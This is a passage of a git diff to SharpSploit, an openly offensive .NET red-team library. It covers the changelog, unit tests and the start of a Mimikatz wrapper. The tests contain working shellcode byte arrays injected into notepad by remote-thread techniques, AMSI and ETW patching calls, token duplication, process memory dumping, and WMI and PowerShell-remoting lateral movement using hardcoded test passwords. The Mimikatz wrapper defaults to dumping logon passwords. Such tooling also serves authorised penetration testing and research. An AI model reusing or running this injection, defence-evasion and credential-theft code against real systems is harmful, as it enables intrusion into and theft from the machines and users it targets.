diff --git a/CHANGELOG.md b/CHANGELOG.md index 62c5698..d79bf39 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,32 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## Unreleased ### Added +- Added FreeModule to SharpSploit.Execution.ManualMap.Map (credit @TheWover) +- Added option to CallMappedDllModuleExport to not invoke EntryPoint (credit @TheWover) +- Added SharpSploit.Evasion.ETW class, ETWEventWrite patch (credit @salu90) +- Added SharpSploit.Execution.Injection.VirtualAllocAllocationTechnique (credit @aus) +- Added SharpSploit.Enumeration.Clipboard clipboard monitor (credit @shellfarmer) +- Added LegitSigned option to SharpSploit.Execution.ManualMap.OverloadModule + +### Changed +- Update Mimikatz binaries in embedded resources +- Update Mimikatz to temporarily allow unsigned overload modules + +### Fixed +- Fixed SharpSploit.Enumeration.Keylogger HookProc from being garbage collected, fixed handling virtual packets +- Fixed rewriting IAT of modules with no import table (credit @TheWover) + +## [v1.6] - 2020-06-08 +### Added +- Added ManualMapping functions (credit @b33f, @TheWover) +- Added ModuleOverloading functions (credit @b33f) +- Added Syscall stub function (credit @b33f) +- Added SharpSploit.Execution.Injection namespace (credit @TheWover) +- Added SharpSploit.Pivoting namespace, reverse port forwarding (credit @rasta-mouse) +- Added error/verbose output to PowerShellExecute function + +## [v1.5] - 2019-12-27 +### Added - Added Evasion namespace, Amsi class, PatchAmsiScanBuffer function (credit @rasta-mouse) - Added Is64Bit Utility property (credit @rasta-mouse) - Added Is64BitProcess Host function (credit @TheWover) @@ -14,15 +40,23 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Added SCM class, PowerShellRemoting class, Host.GetDacl function (credit @rasta-mouse) - Added NetShareEnum functionality for Share Enumeration (credit @checkymander) - Added in-memory export parsing (credit @b33f) +- Added SharpSploit.Execution.PlatformInvoke namespace +- Added CreateProcessWithToken function (credit @001SPARTaN) +- Added DynamicInvoke.Generic.GetLibraryAddress() and DynamicInvoke.Generic.GetExportAddress() by ordinal (credit @b33f) +- Added DynamicInvoke.Generic.GetLibraryAddress() and DynamicInvoke.Generic.GetExportAddress() by MD5 hash (credit @b33f) +- Added DynamicInvoke.Native.NtAllocateVirtualMemory, NtFreeVirtualMemory, NtQueryVirtualMemory, GetFilenameFromMemoryPointer (credit @b33f) ### Changed - Improved DynamicInvoke library (credit @TheWover) - Removed GetProcessListing use of WMI to obtain ppid (credit @rasta-mouse) - Improved GetProcessListing to include ppid, architecture, owner, and sort by PID (credit @rasta-mouse) - Improved SharpSploitResultList ToString() display +- Moved PInvoke function signatures to PlatformInvoke namespace, enums/structs shared between PlatformInvoke and DynamicInvoke - Updated powerkatz dlls, fixed LsaSecrets/LsaCache/SamDump mimikatz shortcuts +- Update shell execution commands for configurable UseShellExecute property +- Updated PowerShellRemoting to return command output (credit @rasta-mouse) -## [v1.4] +## [v1.4] - 2019-08-05 ### Added - Added GetDirectoryListing of a specific path - Added stderr to output of ShellExecute functions @@ -69,3 +103,5 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 [v1.1]: https://github.com/cobbr/SharpSploit/compare/v1.0...v1.1 [v1.2]: https://github.com/cobbr/SharpSploit/compare/v1.1...v1.2 [v1.3]: https://github.com/cobbr/SharpSploit/compare/v1.2...v1.3 +[v1.4]: https://github.com/cobbr/SharpSploit/compare/v1.3...v1.4 +[v1.5]: https://github.com/cobbr/SharpSploit/compare/v1.4...v1.5 \ No newline at end of file diff --git a/SharpSploit.Tests/SharpSploit.Tests/Enumeration/ClipboardTests.cs b/SharpSploit.Tests/SharpSploit.Tests/Enumeration/ClipboardTests.cs new file mode 100644 index 0000000..b81913c --- /dev/null +++ b/SharpSploit.Tests/SharpSploit.Tests/Enumeration/ClipboardTests.cs @@ -0,0 +1,39 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: SharpSploit (https://github.com/cobbr/SharpSploit) +// License: BSD 3-Clause + +using Threads = System.Threading; +using Forms = System.Windows.Forms; +using Microsoft.VisualStudio.TestTools.UnitTesting; + +using SharpSploit.Enumeration; + +namespace SharpSploit.Tests.Enumeration +{ + [TestClass] + public class ClipboardTests + { + [TestMethod] + public void TestClipboard() + { + string results = ""; + Threads.Thread t = new Threads.Thread(() => + { + results = Clipboard.StartClipboardMonitor(8); + }); + Threads.Thread c = new Threads.Thread(() => + { + Forms.Clipboard.SetText("test123"); + }); + c.SetApartmentState(Threads.ApartmentState.STA); + + t.Start(); + Threads.Thread.Sleep(2000); + c.Start(); + c.Join(); + t.Join(6000); + Assert.IsTrue(results.Length > 0); + Assert.IsTrue(results.Contains("test123")); + } + } +} \ No newline at end of file diff --git a/SharpSploit.Tests/SharpSploit.Tests/Enumeration/HostTests.cs b/SharpSploit.Tests/SharpSploit.Tests/Enumeration/HostTests.cs index 1da8978..278cf33 100644 --- a/SharpSploit.Tests/SharpSploit.Tests/Enumeration/HostTests.cs +++ b/SharpSploit.Tests/SharpSploit.Tests/Enumeration/HostTests.cs @@ -100,5 +100,39 @@ public void TestChangeCurrentDirectory() SharpSploitResultList results2 = Host.GetDirectoryListing(); Assert.AreNotEqual(results1, results2); } + + [TestMethod] + public void TestGetDrives() + { + SharpSploitResultList results = Host.GetDrives(); + Assert.IsNotNull(results); + Assert.IsTrue(results.Count > 0); + foreach (Host.DriveInfoResult result in results) + { + Assert.IsNotNull(result); + Assert.AreNotEqual(result.Name, ""); + } + } + + [TestMethod] + public void TestCreateProcessSnapshotDump() + { + Process[] currentProcesses = Process.GetProcessesByName("Calculator"); + Assert.AreEqual(0, currentProcesses.Length); + + string output = SharpSploit.Execution.Shell.ShellExecute("calc.exe"); + Assert.AreNotEqual(null, output); + Assert.AreEqual("", output); + System.Threading.Thread.Sleep(1000); + + Process[] afterProcesses = Process.GetProcessesByName("Calculator"); + Assert.AreEqual(1, afterProcesses.Length); + + Assert.IsTrue(Host.CreateProcessSnapshotDump(afterProcesses[0].Id, @"C:\Users\Public", "dump")); + + Assert.IsTrue(File.Exists(@"C:\Users\Public\dump")); + File.Delete(@"C:\Users\Public\dump"); + Assert.IsFalse(File.Exists(@"C:\Users\Public\dump")); + } } } diff --git a/SharpSploit.Tests/SharpSploit.Tests/Evasion/AmsiTests.cs b/SharpSploit.Tests/SharpSploit.Tests/Evasion/AmsiTests.cs new file mode 100644 index 0000000..991cfce --- /dev/null +++ b/SharpSploit.Tests/SharpSploit.Tests/Evasion/AmsiTests.cs @@ -0,0 +1,20 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: SharpSploit (https://github.com/cobbr/SharpSploit) +// License: BSD 3-Clause + +using Microsoft.VisualStudio.TestTools.UnitTesting; + +using SharpSploit.Evasion; + +namespace SharpSploit.Tests.Evasion +{ + [TestClass] + public class AmsiTests + { + [TestMethod] + public void TestPatchAmsiScanBuffer() + { + Assert.IsTrue(Amsi.PatchAmsiScanBuffer()); + } + } +} diff --git a/SharpSploit.Tests/SharpSploit.Tests/Evasion/ETWTests.cs b/SharpSploit.Tests/SharpSploit.Tests/Evasion/ETWTests.cs new file mode 100644 index 0000000..f0322ce --- /dev/null +++ b/SharpSploit.Tests/SharpSploit.Tests/Evasion/ETWTests.cs @@ -0,0 +1,20 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: SharpSploit (https://github.com/cobbr/SharpSploit) +// License: BSD 3-Clause + +using Microsoft.VisualStudio.TestTools.UnitTesting; + +using SharpSploit.Evasion; + +namespace SharpSploit.Tests.Evasion +{ + [TestClass] + public class ETWTests + { + [TestMethod] + public void TestPatchETWEventWrite() + { + Assert.IsTrue(ETW.PatchETWEventWrite()); + } + } +} diff --git a/SharpSploit.Tests/SharpSploit.Tests/Execution/Injection/InjectionTests.cs b/SharpSploit.Tests/SharpSploit.Tests/Execution/Injection/InjectionTests.cs new file mode 100644 index 0000000..5720dab --- /dev/null +++ b/SharpSploit.Tests/SharpSploit.Tests/Execution/Injection/InjectionTests.cs @@ -0,0 +1,143 @@ +using System; +using System.Diagnostics; +using System.Threading; +using Microsoft.VisualStudio.TestTools.UnitTesting; + +using SharpSploit.Enumeration; +using SharpSploit.Execution; +using SharpSploit.Execution.Injection; + +namespace SharpSploit.Tests.Execution.Injection +{ + [TestClass] + public class InjectionTests + { + private readonly byte[] Calc32bitShellCode = new byte[] + { + 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b, + 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57, + 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01, + 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b, + 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4, + 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, + 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24, + 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d, + 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5, + 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a, + 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63, + 0x61,0x6c,0x63,0x00 + }; + private readonly byte[] Calc64bitShellCode = new byte[] + { + 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, + 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, + 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, + 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, + 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, + 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, + 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, + 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, + 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, + 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, + 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, + 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, + 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, + 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, + 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00 + }; + + [TestMethod] + public void TestRemoteThreadCreateSectionMap() + { + // These options could also be passed in as optional parameters in the constructors + RemoteThreadCreate injectionTechnique = new RemoteThreadCreate + { + api = RemoteThreadCreate.APIS.CreateRemoteThread, + suspended = false + }; + + SectionMapAllocationTechnique secMapAlloc = new SectionMapAllocationTechnique + { + localSectionPermissions = Win32.WinNT.PAGE_READWRITE, + remoteSectionPermissions = Win32.WinNT.PAGE_EXECUTE_READWRITE, + sectionAttributes = Win32.WinNT.SEC_COMMIT + }; + + Process notepadProcess = Process.Start("notepad.exe"); + + // Check the architecture of the process + PICPayload payload = Host.IsWow64(notepadProcess) ? new PICPayload(Calc32bitShellCode) : new PICPayload(Calc64bitShellCode); + + secMapAlloc.Allocate(payload, notepadProcess); + + // For every payload type, both the injectionTechnique and the allocationTechnique would have + // overloads of Inject() and Allocate() that handle logic relevant to the specific payload type + + // Perform injection using the magic of OOP polymorphism and function overloads! + Assert.IsTrue(Injector.Inject(payload, secMapAlloc, injectionTechnique, notepadProcess)); + + Thread.Sleep(2000); + notepadProcess.Kill(); + // If this code were for Process Hollowing, you could use the Allocate function in your Allocation Technique on your new, suspended process. Then overwrite the PEB appropriately. + // Point being, Techniques like that that rely on complex logic beyond simple primitives would be implemented in separate classes, leveraging the Injection API as useful. + } + + [TestMethod] + public void TestRemoteThreadCreateVirtualAlloc() + { + // These options could also be passed in as optional parameters in the constructors + + RemoteThreadCreate injectionTechnique = new RemoteThreadCreate + { + api = RemoteThreadCreate.APIS.CreateRemoteThread, + suspended = false + }; + + VirtualAllocAllocationTechnique virtAlloc = new VirtualAllocAllocationTechnique( + Win32.Kernel32.AllocationType.Commit | Win32.Kernel32.AllocationType.Reserve, + Win32.Kernel32.MemoryProtection.ExecuteReadWrite, + VirtualAllocAllocationTechnique.AllocationAPI.NtAllocateVirtualMemory, + VirtualAllocAllocationTechnique.WriteAPI.NtWriteVirtualMemory + ); + + Process notepadProcess = Process.Start("notepad.exe"); + + // Check the architecture of the process + PICPayload payload = Host.IsWow64(notepadProcess) ? new PICPayload(Calc32bitShellCode) : new PICPayload(Calc64bitShellCode); + + virtAlloc.Allocate(payload, notepadProcess); + + // For every payload type, both the injectionTechnique and the allocationTechnique would have + // overloads of Inject() and Allocate() that handle logic relevant to the specific payload type + + // Perform injection using the magic of OOP polymorphism and function overloads! + Assert.IsTrue(Injector.Inject(payload, virtAlloc, injectionTechnique, notepadProcess)); + + // If this code were for Process Hollowing, you could use the Allocate function in your Allocation Technique on your new, suspended process. Then overwrite the PEB appropriately. + // Point being, Techniques like that that rely on complex logic beyond simple primitives would be implemented in separate classes, leveraging the Injection API as useful. + + Thread.Sleep(2000); + notepadProcess.Kill(); + + // VirtualAllocEx + WriteProcessMemory + CreateRemoteThread + VirtualAllocAllocationTechnique virtAlloc2 = new VirtualAllocAllocationTechnique( + Win32.Kernel32.AllocationType.Commit | Win32.Kernel32.AllocationType.Reserve, + Win32.Kernel32.MemoryProtection.ExecuteReadWrite, + VirtualAllocAllocationTechnique.AllocationAPI.VirtualAllocEx, + VirtualAllocAllocationTechnique.WriteAPI.WriteProcessMemory + ); + notepadProcess = Process.Start("notepad.exe"); + // Check the architecture of the process + payload = Host.IsWow64(notepadProcess) ? new PICPayload(this.Calc32bitShellCode) : new PICPayload(this.Calc64bitShellCode); + virtAlloc.Allocate(payload, notepadProcess); + // Perform injection using the magic of OOP polymorphism and function overloads! + Assert.IsTrue(Injector.Inject(payload, virtAlloc2, injectionTechnique, notepadProcess)); + + Thread.Sleep(2000); + notepadProcess.Kill(); + } + } +} diff --git a/SharpSploit.Tests/SharpSploit.Tests/Execution/ManualMap/MapTests.cs b/SharpSploit.Tests/SharpSploit.Tests/Execution/ManualMap/MapTests.cs new file mode 100644 index 0000000..5485327 --- /dev/null +++ b/SharpSploit.Tests/SharpSploit.Tests/Execution/ManualMap/MapTests.cs @@ -0,0 +1,24 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: SharpSploit (https://github.com/cobbr/SharpSploit) +// License: BSD 3-Clause + +using System.Threading; +using Microsoft.VisualStudio.TestTools.UnitTesting; + +using SharpSploit.Execution.ManualMap; + +namespace SharpSploit.Tests.Execution +{ + [TestClass] + public class MapTests + { + [TestMethod] + public void TestMapAndFree() + { + PE.PE_MANUAL_MAP mappedPE = Map.MapModuleToMemory("C:\\example.exe"); + SharpSploit.Execution.DynamicInvoke.Generic.CallMappedPEModule(mappedPE.PEINFO, mappedPE.ModuleBase); + Thread.Sleep(5000); + Map.FreeModule(mappedPE); + } + } +} diff --git a/SharpSploit.Tests/SharpSploit.Tests/Execution/ShellCodeTests.cs b/SharpSploit.Tests/SharpSploit.Tests/Execution/ShellCodeTests.cs index fcd6104..14cff6e 100644 --- a/SharpSploit.Tests/SharpSploit.Tests/Execution/ShellCodeTests.cs +++ b/SharpSploit.Tests/SharpSploit.Tests/Execution/ShellCodeTests.cs @@ -3,7 +3,7 @@ using SharpSploit.Execution; -namespace SharpSploit.Framework.Tests.Execution +namespace SharpSploit.Tests.Execution { [TestClass] public class ShellCodeTests diff --git a/SharpSploit.Tests/SharpSploit.Tests/Execution/ShellTests.cs b/SharpSploit.Tests/SharpSploit.Tests/Execution/ShellTests.cs index 330af19..af3eade 100644 --- a/SharpSploit.Tests/SharpSploit.Tests/Execution/ShellTests.cs +++ b/SharpSploit.Tests/SharpSploit.Tests/Execution/ShellTests.cs @@ -3,9 +3,12 @@ // License: BSD 3-Clause using System; +using System.Diagnostics; +using System.Security.Principal; using Microsoft.VisualStudio.TestTools.UnitTesting; using SharpSploit.Execution; +using PInvoke = SharpSploit.Execution.PlatformInvoke; namespace SharpSploit.Tests.Execution { @@ -15,49 +18,133 @@ public class ShellTest [TestMethod] public void TestPowerShellExecute() { - String output = Shell.PowerShellExecute("Get-ChildItem"); - Assert.AreNotEqual(output, null); + string output = Shell.PowerShellExecute("Get-ChildItem"); + Assert.AreNotEqual(null, output); Assert.IsTrue(output.Length > 10); } [TestMethod] public void TestPowerShellExecuteEmptyString() { - String output = Shell.PowerShellExecute(""); - Assert.AreNotEqual(output, null); - Assert.IsTrue(output == ""); + string output = Shell.PowerShellExecute(""); + Assert.AreNotEqual(null, output); + Assert.AreEqual("", output); } [TestMethod] public void TestPowerShellExecuteNull() { - String output = Shell.PowerShellExecute(null); - Assert.AreNotEqual(output, null); - Assert.IsTrue(output == ""); + string output = Shell.PowerShellExecute(null); + Assert.AreNotEqual(null, output); + Assert.AreEqual("", output); + } + + [TestMethod] + public void TestPowerShellExecuteVerbose() + { + string output = Shell.PowerShellExecute(@" +function Test-Verbose { + [CmdletBinding()] + Param() + Write-Verbose ""verbose"" +} +Test-Verbose -Verbose"); + Assert.AreEqual("verbose\r\n", output); + } + + [TestMethod] + public void TestPowerShellExecuteError() + { + string output = Shell.PowerShellExecute("Write-Error 'error'"); + Assert.AreEqual("error\r\n", output); + } + + [TestMethod] + public void TestShellCreateProcess() + { + string output = Shell.CreateProcess("tasklist /v"); + Assert.AreNotEqual(null, output); + Assert.IsTrue(output.Length > 10); + Assert.IsTrue(output.Contains("svchost.exe")); } [TestMethod] public void TestShellExecute() { - String output = Shell.ShellExecute("tasklist /v"); - Assert.AreNotEqual(output, null); + int current = Process.GetProcessesByName("Calculator").Length; + string output = Shell.ShellExecute("calc.exe"); + Assert.AreNotEqual(null, output); + Assert.AreEqual("", output); + System.Threading.Thread.Sleep(1000); + int after = Process.GetProcessesByName("Calculator").Length; + Assert.IsTrue(after > current); + } + + [TestMethod] + public void TestCreateProcessWithToken() + { + // Assumes that we have a single explorer process running that we can access + PInvoke.Win32.Kernel32.OpenProcessToken( + Process.GetProcessesByName("notepad")[0].Handle, + (uint)TokenAccessLevels.MaximumAllowed, + out IntPtr hToken + ); + Win32.WinBase._SECURITY_ATTRIBUTES sec = new Win32.WinBase._SECURITY_ATTRIBUTES(); + PInvoke.Win32.Advapi32.DuplicateTokenEx( + hToken, + (uint)TokenAccessLevels.MaximumAllowed, + ref sec, + Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, + Win32.WinNT.TOKEN_TYPE.TokenImpersonation, + out IntPtr hProcessToken + ); + + string output = Shell.CreateProcessWithToken("whoami /all", @"C:\Windows\System32", hProcessToken); + Console.WriteLine(output); + Assert.AreNotEqual(null, output); Assert.IsTrue(output.Length > 10); + Assert.IsTrue(output.Contains("PRIVILEGES INFORMATION")); } [TestMethod] public void TestShellExecuteEmptyString() { - String output = Shell.ShellExecute(""); - Assert.AreNotEqual(output, null); - Assert.IsTrue(output == ""); + string output = Shell.Execute(""); + Assert.AreNotEqual(null, output); + Assert.AreEqual("", output); } [TestMethod] public void TestShellExecuteNull() { - String output = Shell.ShellExecute(null); - Assert.AreNotEqual(output, null); - Assert.IsTrue(output == ""); + String output = Shell.Execute(null); + Assert.AreNotEqual(null, output); + Assert.AreEqual("", output); + } + + [TestMethod] + public void TestShellExecuteSuspendResumeKill() + { + Process[] currentProcesses = Process.GetProcessesByName("Calculator"); + Assert.AreEqual(0, currentProcesses.Length); + + string output = Shell.ShellExecute("calc.exe"); + Assert.AreNotEqual(null, output); + Assert.AreEqual("", output); + System.Threading.Thread.Sleep(1000); + + Process[] afterProcesses = Process.GetProcessesByName("Calculator"); + Assert.AreEqual(1, afterProcesses.Length); + + Assert.IsTrue(Shell.SuspendProcess(afterProcesses[0].Id)); + System.Threading.Thread.Sleep(1000); + Assert.IsTrue(Shell.ResumeProcess(afterProcesses[0].Id)); + System.Threading.Thread.Sleep(1000); + Assert.IsTrue(Shell.KillProcess(afterProcesses[0].Id)); + System.Threading.Thread.Sleep(1000); + + Process[] endProcesses = Process.GetProcessesByName("Calculator"); + Assert.AreEqual(0, endProcesses.Length); } } } diff --git a/SharpSploit.Tests/SharpSploit.Tests/LateralMovement/PowerShellRemotingTests.cs b/SharpSploit.Tests/SharpSploit.Tests/LateralMovement/PowerShellRemotingTests.cs index c4b16f4..c980441 100644 --- a/SharpSploit.Tests/SharpSploit.Tests/LateralMovement/PowerShellRemotingTests.cs +++ b/SharpSploit.Tests/SharpSploit.Tests/LateralMovement/PowerShellRemotingTests.cs @@ -2,7 +2,6 @@ // Project: SharpSploit (https://github.com/cobbr/SharpSploit) // License: BSD 3-Clause -using System.IO; using Microsoft.VisualStudio.TestTools.UnitTesting; using SharpSploit.LateralMovement; @@ -15,13 +14,15 @@ public class PowerShellRemotingTests [TestMethod] public void TestInvokeCommand() { - string FileName = Path.GetTempFileName(); - bool result = PowerShellRemoting.InvokeCommand("localhost", $@"'test' | Out-File '{FileName}'"); - Assert.IsTrue(result); - System.Threading.Thread.Sleep(2000); - string text = File.ReadAllText(FileName); - Assert.AreEqual("test", text); - File.Delete(FileName); + var result = PowerShellRemoting.InvokeCommand("dc1", "whoami; hostname"); + Assert.IsTrue(!string.IsNullOrEmpty(result)); + } + + [TestMethod] + public void TestInvokeCommandWCredentials() + { + var result = PowerShellRemoting.InvokeCommand("dc1", "whoami; hostname", "DEV", "rasta", "Passw0rd!"); + Assert.IsTrue(!string.IsNullOrEmpty(result)); } } -} +} \ No newline at end of file diff --git a/SharpSploit.Tests/SharpSploit.Tests/LateralMovement/WMITests.cs b/SharpSploit.Tests/SharpSploit.Tests/LateralMovement/WMITests.cs index e305db5..a79b727 100644 --- a/SharpSploit.Tests/SharpSploit.Tests/LateralMovement/WMITests.cs +++ b/SharpSploit.Tests/SharpSploit.Tests/LateralMovement/WMITests.cs @@ -14,7 +14,7 @@ public class WMITests [TestMethod] public void TestWMIExecute() { - Assert.IsTrue(WMI.WMIExecute("win16", "powershell.exe", "DEV-COBBR\\TestAdmin", "Password123!")); + Assert.IsNotNull(WMI.WMIExecute("win16", "powershell.exe", "DEV-COBBR\\TestAdmin", "Password123!")); } } } diff --git a/SharpSploit.Tests/SharpSploit.Tests/Pivoting/ReversePortForwardingTests.cs b/SharpSploit.Tests/SharpSploit.Tests/Pivoting/ReversePortForwardingTests.cs new file mode 100644 index 0000000..abd2e77 --- /dev/null +++ b/SharpSploit.Tests/SharpSploit.Tests/Pivoting/ReversePortForwardingTests.cs @@ -0,0 +1,120 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: SharpSploit (https://github.com/cobbr/SharpSploit) +// License: BSD 3-Clause + +using System.Net; +using System.Text; +using System.Threading; +using Microsoft.VisualStudio.TestTools.UnitTesting; + +using SharpSploit.Pivoting; + +namespace SharpSploit.Tests.Pivoting +{ + [TestClass] + public class ReversePortForwardingTests + { + public const string testWebResponse = "this is a test"; + + [TestMethod] + public void TestCreateReversePortForward() + { + Thread httpListener = new Thread(() => CreateHttpListener()); + httpListener.Start(); + + ReversePortForwarding.CreateReversePortForward(4444, "127.0.0.1", 8080); + + string result = string.Empty; + + using (WebClient client = new WebClient()) + { + try { result = client.DownloadString("http://localhost:4444"); } + catch (WebException) { } + } + + Assert.IsTrue(result.Equals(testWebResponse)); + httpListener.Abort(); + } + + [TestMethod] + public void TestDeleteReversePortForward() + { + Thread httpListener = new Thread(() => CreateHttpListener()); + httpListener.Start(); + + ReversePortForwarding.CreateReversePortForward(4444, "127.0.0.1", 8080); + + string result = string.Empty; + + using (WebClient client = new WebClient()) + { + try { result = client.DownloadString("http://localhost:4444"); } + catch (WebException) { } + + Assert.IsTrue(result.Equals(testWebResponse)); + result = string.Empty; + + ReversePortForwarding.DeleteReversePortForward(4444); + + try { result = client.DownloadString("http://localhost:4444"); } + catch (WebException) { } + + Assert.IsFalse(result.Equals(testWebResponse)); + } + httpListener.Abort(); + } + + [TestMethod] + public void TestFlushReversePortForward() + { + var list = ReversePortForwarding.GetReversePortForwards(); + Assert.IsTrue(list.Count == 0); + + ReversePortForwarding.CreateReversePortForward(4444, "127.0.0.1", 8080); + ReversePortForwarding.CreateReversePortForward(4445, "127.0.0.1", 8080); + list = ReversePortForwarding.GetReversePortForwards(); + Assert.IsTrue(list.Count == 2); + + ReversePortForwarding.FlushReversePortFowards(); + list = ReversePortForwarding.GetReversePortForwards(); + Assert.IsTrue(list.Count == 0); + } + + [TestMethod] + public void TestListReversePortForwards() + { + var list = ReversePortForwarding.GetReversePortForwards(); + Assert.IsTrue(list.Count == 0); + + ReversePortForwarding.CreateReversePortForward(4444, "127.0.0.1", 8080); + list = ReversePortForwarding.GetReversePortForwards(); + Assert.IsTrue(list.Count == 1); + + ReversePortForwarding.DeleteReversePortForward(4444); + list = ReversePortForwarding.GetReversePortForwards(); + Assert.IsTrue(list.Count == 0); + } + + private static void CreateHttpListener() + { + using (HttpListener listener = new HttpListener()) + { + listener.Prefixes.Add($"http://127.0.0.1:8080/"); + + listener.Start(); + + while (true) + { + var context = listener.GetContext(); + var response = context.Response; + var responseString = testWebResponse; + var buffer = Encoding.UTF8.GetBytes(responseString); + response.ContentLength64 = buffer.Length; + + var output = response.OutputStream; + output.Write(buffer, 0, buffer.Length); + } + } + } + } +} \ No newline at end of file diff --git a/SharpSploit.Tests/SharpSploit.Tests/SharpSploit.Tests.csproj b/SharpSploit.Tests/SharpSploit.Tests/SharpSploit.Tests.csproj index 34be268..849cd51 100644 --- a/SharpSploit.Tests/SharpSploit.Tests/SharpSploit.Tests.csproj +++ b/SharpSploit.Tests/SharpSploit.Tests/SharpSploit.Tests.csproj @@ -57,11 +57,16 @@ + + + + + @@ -69,6 +74,7 @@ + diff --git a/SharpSploit/Credentials/Mimikatz.cs b/SharpSploit/Credentials/Mimikatz.cs index 165bdc6..3b1a169 100644 --- a/SharpSploit/Credentials/Mimikatz.cs +++ b/SharpSploit/Credentials/Mimikatz.cs @@ -9,7 +9,7 @@ using System.Runtime.InteropServices; using SharpSploit.Misc; -using SharpSploit.Execution; +using SharpSploit.Execution.ManualMap; namespace SharpSploit.Credentials { @@ -21,63 +21,71 @@ namespace SharpSploit.Credentials /// /// Mimikatz is a tool for playing with credentials in Windows, written by Benjamin Delpy (@gentilkiwi). (Found /// at https://github.com/gentilkiwi/mimikatz). - /// SharpSploit's PE Loader is adapted from work by Casey Smith (@subtee). (No longer available at original location.) - /// This wrapper class is adapted from Chris Ross (@xorrior)'s implementation. (Found - /// at https://github.com/xorrior/Random-CSharpTools/tree/master/DllLoader/DllLoader) + /// This wrapper class is adapted from Chris Ross (@xorrior)'s implementation, converted by (@TheRealWover) to use the Manual Mapping API. /// public class Mimikatz { private static byte[] PEBytes32 { get; set; } private static byte[] PEBytes64 { get; set; } - private static PE MimikatzPE { get; set; } = null; - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - private delegate IntPtr MimikatzType(IntPtr command); + private static PE.PE_MANUAL_MAP MimikatzPE = new PE.PE_MANUAL_MAP(); + private static bool MappedMimikatz = false; + + [UnmanagedFunctionPointer(CallingConvention.Cdecl, CharSet = CharSet.Unicode)] + private delegate string MimikatzType(string command); /// - /// Loads the Mimikatz PE with `PE.Load()` and executes a chosen Mimikatz command. + /// Loads the Mimikatz PE and executes a chosen Mimikatz command. /// /// Mimikatz command to be executed. /// Mimikatz output. public static string Command(string Command = "privilege::debug sekurlsa::logonPasswords") { - // Console.WriteLine(String.Join(",", 